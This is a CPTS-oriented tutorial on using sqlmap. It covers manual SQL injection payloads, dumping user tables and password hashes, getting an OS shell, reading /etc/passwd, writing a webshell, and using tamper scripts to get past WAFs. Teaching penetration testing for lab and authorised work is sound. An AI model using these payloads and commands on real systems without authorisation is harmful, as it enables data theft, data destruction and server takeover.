sqlmap

Automated SQL injection detection and exploitation tool. Identifies injection points, determines the database type, dumps data, and can even get an OS shell. The standard tool for going from "this parameter might be injectable" to full database compromise.

Web CPTS
LevelIntermediate. Find the injection by hand first; sqlmap automates the exploitation.
Know firstWhat a SQL query is, what an injection point is (a parameter that ends up inside a query), and how to save a request from Burp.
You will learn toconfirm an injection by hand, hand the saved request to sqlmap, and raise the level and risk only when you need to.

What is it?

sqlmap automates the entire SQL injection attack lifecycle. When you suspect a web parameter is vulnerable to SQLi (because you tested ' and got an error, or because a time delay worked), sqlmap takes over. It:

  • Identifies the injection type: Union, boolean blind, time blind, error-based, stacked queries
  • Fingerprints the database: MySQL, MSSQL, PostgreSQL, Oracle, SQLite
  • Enumerates the database: lists databases, tables, columns, then dumps data
  • Escalates access: reads files from the server, writes files, gets OS command execution

sqlmap tests six injection techniques (boolean-based, error-based, UNION, stacked queries, time-based, and inline queries) against the major database platforms. It handles encoding, session cookies, and anti-CSRF tokens, and its tamper scripts help with WAFs and input filters.

Don't use sqlmap as your first step

sqlmap is loud: it sends hundreds or thousands of requests testing various payloads. On CPTS and real engagements, find the injection point manually first using Burp Suite Repeater. Confirm that ' causes an error or that a time-based payload works. Then point sqlmap at the confirmed parameter. This approach is faster, stealthier, and teaches you more.

Run this first

Save the request from Burp to a file, then give that file to sqlmap. A saved request keeps the cookies, headers and body exactly as the browser sent them.

bash: your first run
$ sqlmap -r request.txt --batch
  • -r request.txt reads the full HTTP request from a file.
  • --batch accepts the default answer to every question, so sqlmap does not stop to ask.

If you already know which parameter is injectable, add -p name to test only that one. Start at the default level and risk (both 1) and raise them only when nothing is found.

When do you use it?

After you've manually identified a potential SQL injection point:

  • A parameter causes SQL errors: id=1' returns "You have an error in your SQL syntax"
  • Boolean differences: id=1 AND 1=1 vs id=1 AND 1=2 return different pages
  • Time-based response: id=1; WAITFOR DELAY '0:0:5'-- causes a 5-second delay
  • You found a complex injection: the request has cookies, headers, or POST data that make manual exploitation tedious
Manual SQLi confirmation before sqlmap
  • Error-based: id=1' triggers an SQL syntax error in the response
  • Union-based: id=1 UNION SELECT NULL-- changes the response (add NULLs until columns match)
  • Boolean: id=1 AND 1=1 shows normal page, id=1 AND 1=2 shows different page
  • Time: id=1; WAITFOR DELAY '0:0:5'-- (MSSQL) or id=1' AND SLEEP(5)-- (MySQL) causes delay

Using -r for request files

The most reliable way to use sqlmap is to save a request from Burp Suite to a file, then pass it with -r. This preserves all headers, cookies, and POST data exactly as the application expects.

text: saved request file (request.txt)
POST /login HTTP/1.1
Host: 10.10.10.10
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=abc123def456
Content-Length: 32

username=admin&password=test123
bash: using the saved request
# Test all parameters in the request file
$ sqlmap -r request.txt

# Test only a specific parameter
$ sqlmap -r request.txt -p username

# Specify the injection point with * in the request file:
# username=admin*&password=test123
# sqlmap will inject payloads where the * is
How to save a request from Burp

In Burp Suite Proxy History or Repeater: right-click the request → "Copy to file" → save as request.txt. This captures everything: headers, cookies, POST body, content type. No need to manually reconstruct the request with curl flags.

--risk and --level tuning

These two flags control how aggressively sqlmap tests for injection. Start low, increase if nothing is found.

FlagValueWhat it adds
--level1 (default)Tests GET/POST parameters with basic payloads
--level2Also tests Cookie values
--level3Also tests User-Agent and Referer headers
--level4-5More payloads per parameter; level 5 also tests the Host header
--risk1 (default)Safe payloads only (no data modification)
--risk2Adds heavy time-based payloads
--risk3Adds OR-based payloads (can modify/delete data!)
bash: progressive escalation
# Start with defaults: fast, safe
$ sqlmap -r request.txt

# Nothing found? Increase level to check cookies and headers
$ sqlmap -r request.txt --level 3

# Still nothing? Try heavier payloads
$ sqlmap -r request.txt --level 5 --risk 2

# Last resort (careful: risk 3 can modify data)
$ sqlmap -r request.txt --level 5 --risk 3
Risk 3 can destroy data

--risk 3 adds OR-based payloads like OR 1=1. In an UPDATE or DELETE query, this can modify or delete every row in the table. On a real engagement, never use risk 3 without explicit permission and a database backup. On CPTS lab boxes, it's fine.

Key flags for exploitation

bash: enumeration workflow
# Step 1: Identify the injection and database type
$ sqlmap -r request.txt --batch
[INFO] the back-end DBMS is MySQL  <-- confirmed, now you know which --dbms flags and payloads apply
[INFO] fetching banner
web server operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.12

# Step 2: List databases
$ sqlmap -r request.txt --dbs
available databases [3]:
[*] information_schema
[*] mysql
[*] webapp_db

# Step 3: List tables in the target database
$ sqlmap -r request.txt -D webapp_db --tables
Database: webapp_db
[3 tables]
+----------+
| users    |
| sessions |
| products |
+----------+

# Step 4: List columns in the users table
$ sqlmap -r request.txt -D webapp_db -T users --columns
Database: webapp_db
Table: users
[4 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(11)     |
| username | varchar(50) |
| password | varchar(64) |
| role     | varchar(20) |
+----------+-------------+

# Step 5: Dump the data
$ sqlmap -r request.txt -D webapp_db -T users --dump
+----+----------+------------------------------------------+-------+
| id | username | password                                 | role  |
+----+----------+------------------------------------------+-------+
| 1  | admin    | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin |  <-- sqlmap already cracked it, rockyou-weak
| 2  | jsmith   | e10adc3949ba59abbe56e057f20f883e (123456)    | user  |
+----+----------+------------------------------------------+-------+

Getting a shell

bash: OS shell via sqlmap
# Get an OS command shell (requires FILE privilege or stacked queries)
$ sqlmap -r request.txt --os-shell
os-shell> whoami
www-data  <-- code execution confirmed, low-priv web user
os-shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Read a file from the server
$ sqlmap -r request.txt --file-read="/etc/passwd"

# Write a webshell (requires FILE privilege + writable web directory)
$ sqlmap -r request.txt --file-write="shell.php" --file-dest="/var/www/html/shell.php"
MSSQL xp_cmdshell

If the database is MSSQL and you have sa-level access, sqlmap can enable and use xp_cmdshell for direct OS command execution. Use --os-shell and sqlmap handles the rest. This is a common CPTS path: find SQLi → get MSSQL shell → pivot to AD.

Tamper scripts

Tamper scripts modify payloads to bypass WAFs (Web Application Firewalls) and input filters. Use them when standard payloads are being blocked.

bash: using tamper scripts
# Space-to-comment bypass (replaces spaces with /**/)
$ sqlmap -r request.txt --tamper=space2comment

# URL encoding
$ sqlmap -r request.txt --tamper=charencode

# Chain multiple tamper scripts
$ sqlmap -r request.txt --tamper=space2comment,between,randomcase

# List available tamper scripts
$ sqlmap --list-tampers
Tamper scriptWhat it doesUseful against
space2commentReplaces spaces with /**/WAFs that filter spaces
betweenReplaces > with NOT BETWEEN 0 ANDFilters blocking comparison operators
randomcaseRandomizes keyword case (sElEcT)Case-sensitive keyword filters
charencodeURL-encodes all charactersBasic input sanitization
equaltolikeReplaces = with LIKEFilters blocking equals sign

Manual SQLi to sqlmap workflow

The proper workflow for CPTS: find it manually, then automate with sqlmap.

workflow: step by step
# 1. Browse the site in Burp Suite, identify input points
# 2. In Repeater, test for injection:
   GET /search?q=test' HTTP/1.1     →  SQL error? Possible injection!
   GET /search?q=test' OR 1=1--     →  Different response? Boolean-based!
   GET /search?q=test' AND SLEEP(5)--  →  5s delay? Time-based!

# 3. Save the vulnerable request from Burp (right-click → Copy to file)
# 4. Run sqlmap with the saved request
$ sqlmap -r request.txt -p q --batch --dbs

# 5. sqlmap confirms the injection and enumerates databases
# 6. Dump interesting tables
$ sqlmap -r request.txt -p q -D webapp -T users --dump

# 7. Try for a shell if needed
$ sqlmap -r request.txt -p q --os-shell

Common mistakes

Things that go wrong
  • Running sqlmap without manual verification first: On CPTS you need to show you understand SQLi, not just run a tool. Find the vuln manually, then use sqlmap to exploit it
  • Not using -r: Manually constructing the request with -u and --data is error-prone. Save from Burp with -r every time
  • Forgetting --batch: Without it, sqlmap asks dozens of interactive questions. --batch accepts defaults automatically
  • Starting at high risk/level: --level 5 --risk 3 is slow and potentially dangerous. Start at defaults, escalate only if nothing is found
  • Not specifying -p: Testing all parameters wastes time. If you know which parameter is injectable, tell sqlmap with -p paramname
  • Ignoring session management: If the app uses CSRF tokens or requires a specific session flow, use --csrf-token or the --second-url flag
  • Dumping everything: --dump-all takes forever and triggers alerts. Target specific databases and tables

Check yourself

Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.

Why find the injection by hand before you run sqlmap on CPTS?
You are expected to show that you understand SQL injection, not only run a tool. Find the vulnerability manually, then use sqlmap to exploit it.
Why use -r with a saved request and not -u with --data?
Building the request by hand is error-prone. A request saved from Burp keeps the cookies, headers and body exactly as they were sent.
What do --level and --risk control, and what are their defaults?
Level (1 to 5, default 1) sets how many places and payloads are tested: level 2 adds cookies, 3 adds User-Agent and Referer, and 5 adds the Host header. Risk (1 to 3, default 1) sets how dangerous the payloads are, and risk 3 adds OR-based payloads that can modify data.
Why is --level 5 --risk 3 a poor place to start?
It is slow and potentially dangerous. Risk 3 payloads can change or delete rows when they land in an UPDATE or DELETE query. Start at the defaults and escalate only if nothing is found.
sqlmap stops to ask question after question. What flag do you add?
--batch, which accepts the default answer every time.
The application uses an anti-CSRF token. What can you use?
--csrf-token, or --second-url for flows that need a second request.